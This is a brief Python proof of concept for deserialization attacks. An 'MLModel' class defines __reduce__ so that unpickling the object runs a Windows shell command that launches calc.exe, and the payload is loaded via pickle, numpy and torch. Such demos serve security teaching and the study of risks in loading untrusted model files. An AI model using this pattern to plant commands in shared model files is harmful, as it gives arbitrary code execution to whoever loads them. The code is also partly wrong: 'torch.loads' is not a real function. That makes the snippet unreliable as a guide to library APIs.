# Create a class - normally this is a machine learning model saved to disk class MLModel(): def __reduce__(self): import os execution = 'cmd.exe /c calc.exe' return (os.popen, (execution,)) # Serialize it. import pickle payload = pickle.dumps(MLModel()) # Load it. pickle.loads(payload) # Load it. import numpy numpy.loads(payload) # Load it. import torch torch.loads(payload)